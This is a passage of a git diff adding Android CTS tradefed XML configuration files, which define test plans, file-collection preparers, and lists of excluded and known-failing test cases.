+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="CTS device files collection">
+    <option name="plan" value="cts-device-files" />
+
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DeviceFileCollector">
+        <option name="src-file" value="/sys/fs/selinux/policy" />
+        <option name="dest-file" value="vintf-files/sepolicy"/>
+        <option name="property" key="ro.treble.enabled" value="true"/>
+    </target_preparer>
+
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DeviceFileCollector">
+        <option name="src-file" value="/proc/config.gz" />
+        <option name="dest-file" value="vintf-files/proc_config.gz"/>
+        <option name="property" key="ro.treble.enabled" value="true"/>
+    </target_preparer>
+</configuration>
diff --git a/tools/cts-tradefed/res/config/cts-exclude-instant.xml b/tools/cts-tradefed/res/config/cts-exclude-instant.xml
new file mode 100644
index 0000000..402d227
--- /dev/null
+++ b/tools/cts-tradefed/res/config/cts-exclude-instant.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2018 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Excluded tests applicable only to instant mode">
+    <option name="compatibility:test-arg" value="com.android.tradefed.testtype.AndroidJUnitTest:exclude-annotation:android.platform.test.annotations.AppModeInstant" />
+    <option name="compatibility:test-arg" value="com.android.compatibility.common.tradefed.testtype.JarHostTest:exclude-annotation:android.platform.test.annotations.AppModeInstant" />
+    <option name="compatibility:test-arg" value="com.android.tradefed.testtype.HostTest:exclude-annotation:android.platform.test.annotations.AppModeInstant" />
+</configuration>
diff --git a/tools/cts-tradefed/res/config/cts-exclude.xml b/tools/cts-tradefed/res/config/cts-exclude.xml
new file mode 100644
index 0000000..f6899a4
--- /dev/null
+++ b/tools/cts-tradefed/res/config/cts-exclude.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Excluded tests from main CTS runs">
+    <!-- b/64127136 -->
+    <option name="compatibility:exclude-filter" value="CtsSecurityHostTestCases android.security.cts.SELinuxHostTest#testNoExemptionsForBinderInVendorBan" />
+    <option name="compatibility:exclude-filter" value="CtsSecurityHostTestCases android.security.cts.SELinuxHostTest#testNoExemptionsForSocketsBetweenCoreAndVendorBan" />
+    <option name="compatibility:exclude-filter" value="CtsSecurityHostTestCases android.security.cts.SELinuxHostTest#testNoExemptionsForVendorExecutingCore" />
+
+    <!-- Test Harness Mode tests are not a part of CTS. They are a part
+         of their own testing plan, as they reset the device during the
+         test. It's possible and ideal in the future to incorporate the
+         tests into CTS, but until then, they should be excluded. -->
+    <option name="compatibility:exclude-filter" value="CtsTestHarnessModeTestCases" />
+
+    <!-- Exclude downstreaming tests from CTS, i.e. tests added after the
+         first major release for this API level (They are pulled into GTS
+         instead). -->
+    <option name="compatibility:test-arg" value="com.android.tradefed.testtype.AndroidJUnitTest:exclude-annotation:com.android.compatibility.common.util.CtsDownstreamingTest" />
+    <option name="compatibility:test-arg" value="com.android.compatibility.common.tradefed.testtype.JarHostTest:exclude-annotation:com.android.compatibility.common.util.CtsDownstreamingTest" />
+</configuration>
diff --git a/tools/cts-tradefed/res/config/cts-filtered-sample.xml b/tools/cts-tradefed/res/config/cts-filtered-sample.xml
new file mode 100644
index 0000000..e4f454b
--- /dev/null
+++ b/tools/cts-tradefed/res/config/cts-filtered-sample.xml
@@ -0,0 +1,39 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Runs CTS from a pre-existing CTS installation">
+
+    <include name="common-compatibility-config" />
+
+    <option name="plan" value="cts-filtered-sample" />
+
+    <!-- Tell all AndroidJUnitTests to only run the medium sized tests -->
+    <option name="compatibility:test-arg" value="com.android.tradefed.testtype.AndroidJUnitTest:size:medium" />
+
+    <!-- Include 64bit CtsContentTestCases and tell it which timeout to use -->
+    <option name="compatibility:include-filter" value="arm64-v8a CtsContentTestCases" />
+    <option name="compatibility:module-arg" value="arm64-v8a CtsContentTestCases:test-timeout:600" />
+
+    <!-- Include CtsGestureTestCases but only run the tests on arm32 -->
+    <option name="compatibility:include-filter" value="armeabi-v7a CtsGestureTestCases" />
+
+    <!-- Exclude CtsMediaStressTestCases -->
+    <option name="compatibility:exclude-filter" value="CtsMediaStressTestCases" />
+
+    <!-- Include CtsUtilTestCases but only run the small tests -->
+    <option name="compatibility:include-filter" value="CtsUtilTestCases" />
+    <option name="compatibility:module-arg" value="CtsUtilTestCases:size:small" />
+
+</configuration>
diff --git a/tools/cts-tradefed/res/config/cts-foldable.xml b/tools/cts-tradefed/res/config/cts-foldable.xml
new file mode 100644
index 0000000..1a3e256
--- /dev/null
+++ b/tools/cts-tradefed/res/config/cts-foldable.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="CTS plan for foldable devices">
+
+    <include name="cts" />
+
+    <option name="plan" value="cts-foldable" />
+    <option name="result-attribute" key="display_mode" value="1" />
+
+    <!-- CTS tests to be excluded in this plan-->
+    <option name="compatibility:exclude-filter" value="CtsDeqpTestCases" />
+
+</configuration>
diff --git a/tools/cts-tradefed/res/config/cts-global-presubmit.xml b/tools/cts-tradefed/res/config/cts-global-presubmit.xml
new file mode 100644
index 0000000..5a858e7
--- /dev/null
+++ b/tools/cts-tradefed/res/config/cts-global-presubmit.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Runs CTS global presubmit test cases">
+
+    <include name="cts-automated" />
+
+    <option name="plan" value="cts" />
+
+    <!-- Include modules with presubmit test cases, repeat for each applicable module -->
+    <!--option name="compatibility:include-filter" value="<CTS module name goes here>" /-->
+
+    <!-- Only run tests with @GlobalPresubmit annotation. -->
+    <option name="compatibility:test-arg" value="com.android.compatibility.common.tradefed.testtype.JarHostTest:include-annotation:android.platform.test.annotations.GlobalPresubmit" />
+    <option name="compatibility:test-arg" value="com.android.tradefed.testtype.AndroidJUnitTest:include-annotation:android.platform.test.annotations.GlobalPresubmit" />
+    <option name="compatibility:test-arg" value="com.android.tradefed.testtype.HostTest:include-annotation:android.platform.test.annotations.GlobalPresubmit" />
+
+</configuration>
diff --git a/tools/cts-tradefed/res/config/cts-java.xml b/tools/cts-tradefed/res/config/cts-java.xml
new file mode 100644
index 0000000..722d8f7
--- /dev/null
+++ b/tools/cts-tradefed/res/config/cts-java.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Runs Core Java Tests from a pre-existing CTS installation">
+
+    <include name="cts" />
+
+    <option name="plan" value="cts-java" />
+
+    <!-- Include CtsLibcoreTestCases -->
+    <option name="compatibility:include-filter" value="CtsLibcoreTestCases" />
+
+    <!-- Exclude CtsLibcoreTestCases harmony -->
+    <option name="compatibility:exclude-filter" value="CtsLibcoreTestCases android.core.tests.libcore.package.harmony" />
+
+</configuration>
diff --git a/tools/cts-tradefed/res/config/cts-jvmti.xml b/tools/cts-tradefed/res/config/cts-jvmti.xml
new file mode 100644
index 0000000..ce60582
--- /dev/null
+++ b/tools/cts-tradefed/res/config/cts-jvmti.xml
@@ -0,0 +1,114 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2018 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Runs JVMTI Tests from a pre-existing CTS installation">
+
+    <!-- Using cts-dev to avoid system checkers. -->
+    <include name="cts-dev" />
+
+    <option name="plan" value="cts-jvmti" />
+
+    <!-- Include all JVMTI test cases -->
+    <option name="compatibility:include-filter" value="CtsJvmtiAttachingHostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRedefineClassesHostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest902HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest903HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest904HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest905HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest906HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest907HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest908HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest910HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest911HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest912HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest913HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest914HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest915HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest917HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest918HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest919HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest920HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest922HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest923HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest924HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest926HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest927HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest928HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest930HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest931HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest932HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest940HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest942HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest944HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest945HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest947HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest951HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest982HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest983HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest984HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest985HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest986HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest988HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest989HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest990HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest991HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest992HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest993HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest994HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest995HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest996HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest997HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest1900HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest1901HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest1902HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest1903HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest1904HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest1906HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest1907HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest1908HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest1909HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest1910HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest1911HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest1912HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest1913HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest1914HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest1915HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest1916HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest1917HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest1920HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest1921HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest1922HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest1923HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest1924HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest1925HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest1926HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest1927HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest1928HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest1930HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest1931HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest1932HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest1933HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest1934HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest1936HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest1937HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest1939HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest1941HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest1942HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest1943HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest1953HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiTaggingHostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiTrackingHostTestCases" />
+
+</configuration>
diff --git a/tools/cts-tradefed/res/config/cts-known-failures.xml b/tools/cts-tradefed/res/config/cts-known-failures.xml
new file mode 100644
index 0000000..de90e52
--- /dev/null
+++ b/tools/cts-tradefed/res/config/cts-known-failures.xml
@@ -0,0 +1,222 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Configuration with CTS known failures" >
+    <!-- <option name="compatibility:exclude-filter" value="MODULE_NAME" /> Excludes whole module -->
+    <!-- <option name="compatibility:exclude-filter" value="MODULE_NAME PACKAGE_NAME" /> Excludes whole package -->
+    <!-- <option name="compatibility:exclude-filter" value="MODULE_NAME PACKAGE_NAME.CLASS_NAME" /> Excludes whole class -->
+    <!-- <option name="compatibility:exclude-filter" value="MODULE_NAME PACKAGE_NAME.CLASS_NAME#TEST_NAME" /> Excludes individual test -->
+
+    <!-- b/38182235 -->
+    <option name="compatibility:exclude-filter" value="CtsLocationTestCases android.location.cts.GnssTtffTests#testTtffWithNetwork" />
+    <option name="compatibility:exclude-filter" value="CtsLocationTestCases[instant] android.location.cts.GnssTtffTests#testTtffWithNetwork" />
+
+    <!-- b/23776893 -->
+    <option name="compatibility:exclude-filter" value="CtsDumpsysHostTestCases android.dumpsys.cts.DumpsysHostTest#testBatterystatsOutput" />
+    <option name="compatibility:exclude-filter" value="CtsDumpsysHostTestCases android.dumpsys.cts.DumpsysHostTest#testGfxinfoFramestats" />
+
+    <!-- b/16720689 -->
+    <option name="compatibility:exclude-filter" value="CtsJdwp org.apache.harmony.jpda.tests.jdwp.DebuggerOnDemand.OnthrowDebuggerLaunchTest#testDebuggerLaunch001" />
+    <option name="compatibility:exclude-filter" value="CtsJdwp org.apache.harmony.jpda.tests.jdwp.DebuggerOnDemand.OnthrowDebuggerLaunchTest#testDebuggerLaunch002" />
+    <option name="compatibility:exclude-filter" value="CtsJdwp org.apache.harmony.jpda.tests.jdwp.DebuggerOnDemand.OnthrowDebuggerLaunchTest#testDebuggerLaunch003" />
+    <option name="compatibility:exclude-filter" value="CtsJdwp org.apache.harmony.jpda.tests.jdwp.DebuggerOnDemand.OnthrowDebuggerLaunchTest#testDebuggerLaunch004" />
+    <option name="compatibility:exclude-filter" value="CtsJdwp org.apache.harmony.jpda.tests.jdwp.DebuggerOnDemand.OnthrowLaunchDebugger001#testDebugger002" />
+    <option name="compatibility:exclude-filter" value="CtsJdwp org.apache.harmony.jpda.tests.jdwp.DebuggerOnDemand.OnthrowLaunchDebugger002#testDebugger" />
+    <option name="compatibility:exclude-filter" value="CtsJdwp org.apache.harmony.jpda.tests.jdwp.Events.ClassUnloadTest#testClassUnloadEvent" />
+    <option name="compatibility:exclude-filter" value="CtsJdwp org.apache.harmony.jpda.tests.jdwp.Events.MonitorContendedEnteredTest#testMonitorContendedEnteredForClassMatch" />
+    <option name="compatibility:exclude-filter" value="CtsJdwp org.apache.harmony.jpda.tests.jdwp.Events.MonitorContendedEnterTest#testMonitorContendedEnterForClassMatch" />
+    <option name="compatibility:exclude-filter" value="CtsJdwp org.apache.harmony.jpda.tests.jdwp.Events.MonitorWaitedTest#testMonitorWaitedForClassExclude" />
+    <option name="compatibility:exclude-filter" value="CtsJdwp org.apache.harmony.jpda.tests.jdwp.Events.MonitorWaitedTest#testMonitorWaitedForClassMatchExact" />
+    <option name="compatibility:exclude-filter" value="CtsJdwp org.apache.harmony.jpda.tests.jdwp.Events.MonitorWaitedTest#testMonitorWaitedForClassMatchFirst" />
+    <option name="compatibility:exclude-filter" value="CtsJdwp org.apache.harmony.jpda.tests.jdwp.Events.MonitorWaitedTest#testMonitorWaitedForClassMatchSecond" />
+    <option name="compatibility:exclude-filter" value="CtsJdwp org.apache.harmony.jpda.tests.jdwp.Events.MonitorWaitedTest#testMonitorWaitedForClassOnly" />
+    <option name="compatibility:exclude-filter" value="CtsJdwp org.apache.harmony.jpda.tests.jdwp.Events.MonitorWaitTest#testMonitorWaitForClassExclude" />
+    <option name="compatibility:exclude-filter" value="CtsJdwp org.apache.harmony.jpda.tests.jdwp.Events.MonitorWaitTest#testMonitorWaitForClassMatchExact" />
+    <option name="compatibility:exclude-filter" value="CtsJdwp org.apache.harmony.jpda.tests.jdwp.Events.MonitorWaitTest#testMonitorWaitForClassMatchFirst" />
+    <option name="compatibility:exclude-filter" value="CtsJdwp org.apache.harmony.jpda.tests.jdwp.Events.MonitorWaitTest#testMonitorWaitForClassMatchSecond" />
+    <option name="compatibility:exclude-filter" value="CtsJdwp org.apache.harmony.jpda.tests.jdwp.Events.MonitorWaitTest#testMonitorWaitForClassOnly" />
+    <option name="compatibility:exclude-filter" value="CtsJdwp org.apache.harmony.jpda.tests.jdwp.ReferenceType.ClassFileVersionTest#testClassFileVersion001" />
+    <option name="compatibility:exclude-filter" value="CtsJdwp org.apache.harmony.jpda.tests.jdwp.ReferenceType.NestedTypesTest#testNestedTypes001" />
+    <option name="compatibility:exclude-filter" value="CtsJdwp org.apache.harmony.jpda.tests.jdwp.ThreadReference.StopTest#testStop001" />
+    <option name="compatibility:exclude-filter" value="CtsJdwp org.apache.harmony.jpda.tests.jdwp.VirtualMachine.HoldEventsTest#testHoldEvents001" />
+    <option name="compatibility:exclude-filter" value="CtsJdwp org.apache.harmony.jpda.tests.jdwp.VirtualMachine.ReleaseEventsTest#testReleaseEvents001" />
+
+    <!-- b/21262226 -->
+    <option name="compatibility:exclude-filter" value="CtsJobSchedulerTestCases android.jobscheduler.cts.ConnectivityConstraintTest#testConnectivityConstraintExecutes_withMobile" />
+    <option name="compatibility:exclude-filter" value="CtsJobSchedulerTestCases android.jobscheduler.cts.ConnectivityConstraintTest#testUnmeteredConstraintFails_withMobile" />
+
+    <!-- b/18682315 -->
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.SSLCertificateSocketFactoryTest#test_createSocket_bind" />
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.SSLCertificateSocketFactoryTest#test_createSocket_simple" />
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.SSLCertificateSocketFactoryTest#test_createSocket_wrapping" />
+
+    <!-- b/17394321 -->
+    <option name="compatibility:exclude-filter" value="CtsOpenGlPerfTestCases android.openglperf.cts.GlAppSwitchTest#testGlActivitySwitchingFast" />
+    <option name="compatibility:exclude-filter" value="CtsOpenGlPerfTestCases android.openglperf.cts.GlAppSwitchTest#testGlActivitySwitchingSlow" />
+
+    <!-- b/113071420-->
+    <option name="compatibility:exclude-filter" value="x86 CtsPerfettoTestCases PerfettoTest#TestFtraceProducer" />
+
+    <!-- b/18461670 -->
+    <option name="compatibility:exclude-filter" value="CtsSecurityTestCases android.security.cts.AudioPolicyBinderTest#test_getStreamVolumeLeak" />
+    <option name="compatibility:exclude-filter" value="CtsSecurityTestCases android.security.cts.AudioPolicyBinderTest#test_isStreamActive" />
+    <option name="compatibility:exclude-filter" value="CtsSecurityTestCases android.security.cts.AudioPolicyBinderTest#test_isStreamActiveRemotely" />
+    <option name="compatibility:exclude-filter" value="CtsSecurityTestCases android.security.cts.AudioPolicyBinderTest#test_startAudioSource" />
+    <option name="compatibility:exclude-filter" value="CtsSecurityTestCases android.security.cts.AudioPolicyBinderTest#test_startOutput" />
+    <option name="compatibility:exclude-filter" value="CtsSecurityTestCases android.security.cts.AudioPolicyBinderTest#test_stopOutput" />
+    <!-- b/27218502 -->
+    <option name="compatibility:exclude-filter" value="CtsSecurityTestCases android.security.cts.MediaCryptoTest#testMediaCryptoClearKey" />
+    <option name="compatibility:exclude-filter" value="CtsSecurityTestCases android.security.cts.MediaCryptoTest#testMediaCryptoWidevine" />
+
+    <!-- b/63916274 -->
+    <option name="compatibility:exclude-filter" value="CtsTelecomTestCases android.telecom.cts.WiredHeadsetTest" />
+
+    <!-- b/62302163 -->
+    <option name="compatibility:exclude-filter" value="CtsSecurityBulletinHostTestCases android.security.cts.Poc17_04#testPocCVE_2017_0564" />
+
+    <!-- b/72460579 -->
+    <option name="compatibility:exclude-filter" value="CtsSecurityBulletinHostTestCases android.security.cts.Poc17_05#testPocCVE_2017_0630" />
+
+    <!-- b/27873815 -->
+    <option name="compatibility:exclude-filter" value="arm64-v8a CtsRenderscriptLegacyTestCases" />
+    <option name="compatibility:exclude-filter" value="x86_64 CtsRenderscriptLegacyTestCases" />
+    <option name="compatibility:exclude-filter" value="mips64 CtsRenderscriptLegacyTestCases" />
+
+    <!-- b/17536113 -->
+    <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.UsageStatsTest#testNoAccessSilentlyFails" />
+
+    <!-- b/26235244 -->
+    <option name="compatibility:exclude-filter" value="android.util.cts.EventLogTest#testWriteEventWithOversizeValue" />
+
+    <!-- b/63115400 -->
+    <option name="compatibility:exclude-filter" value="CtsSecurityHostTestCases android.security.cts.SELinuxHostTest#testAospFileContexts" />
+    <!-- b/64221494 -->
+    <option name="compatibility:exclude-filter" value="CtsSecurityHostTestCases android.security.cts.SELinuxHostTest#testAospPropertyContexts" />
+    <!-- b/64221494 -->
+    <option name="compatibility:exclude-filter" value="CtsSecurityHostTestCases android.security.cts.SELinuxHostTest#testAospSeappContexts" />
+
+    <!-- b/63378294 b/64382381 -->
+    <option name="compatibility:exclude-filter" value="CtsSecurityHostTestCases android.security.cts.SELinuxNeverallowRulesTest#testNeverallowRules440" />
+
+    <!-- b/36686383 -->
+    <option name="compatibility:exclude-filter" value="CtsIncidentHostTestCases com.android.server.cts.ErrorsTest#testANR" />
+
+    <!-- b/33090965 -->
+    <option name="compatibility:exclude-filter" value="CtsVideoTestCases android.video.cts.VideoEncoderDecoderTest#testVp9Goog0Perf0320x0180" />
+    <option name="compatibility:exclude-filter" value="CtsVideoTestCases android.video.cts.VideoEncoderDecoderTest#testVp9Goog0Perf0640x0360" />
+    <option name="compatibility:exclude-filter" value="CtsVideoTestCases android.video.cts.VideoEncoderDecoderTest#testVp9Goog0Perf1280x0720" />
+    <option name="compatibility:exclude-filter" value="CtsVideoTestCases android.video.cts.VideoEncoderDecoderTest#testVp9Goog0Perf1920x1080" />
+
+    <!-- b/63916274 -->
+    <option name="compatibility:exclude-filter" value="CtsTelecomTestCases android.telecom.cts.WiredHeadsetTest" />
+
+    <!-- b/38463882 -->
+    <option name="compatibility:exclude-filter" value="x86_64 CtsLiblogTestCases liblog#event_log_tags" />
+
+    <!-- b/38464828 -->
+    <option name="compatibility:exclude-filter" value="CtsFileSystemTestCases android.filesystem.cts.AlmostFullTest" />
+
+    <!-- b/37271927 -->
+    <option name="compatibility:exclude-filter" value="CtsViewTestCases android.view.cts.ViewTest#testUpdateDragShadow" />
+
+    <!-- b/62481870 -->
+    <option name="compatibility:exclude-filter" value="CtsNativeMediaAAudioTestCases android.nativemedia.aaudio.AAudioOutputStreamCallbackTest#testPlayback" />
+
+    <!-- b/134654621 -->
+    <option name="compatibility:exclude-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.AppConfigurationTests#testTaskCloseRestoreFreeOrientation" />
+    <option name="compatibility:exclude-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.AppConfigurationTests#testAppOrientationRequestConfigClears" />
+
+    <!-- b/62976713 -->
+    <option name="compatibility:exclude-filter" value="arm64-v8a CtsMediaBitstreamsTestCases" />
+    <option name="compatibility:exclude-filter" value="x86_64 CtsMediaBitstreamsTestCases" />
+    <option name="compatibility:exclude-filter" value="mips64 CtsMediaBitstreamsTestCases" />
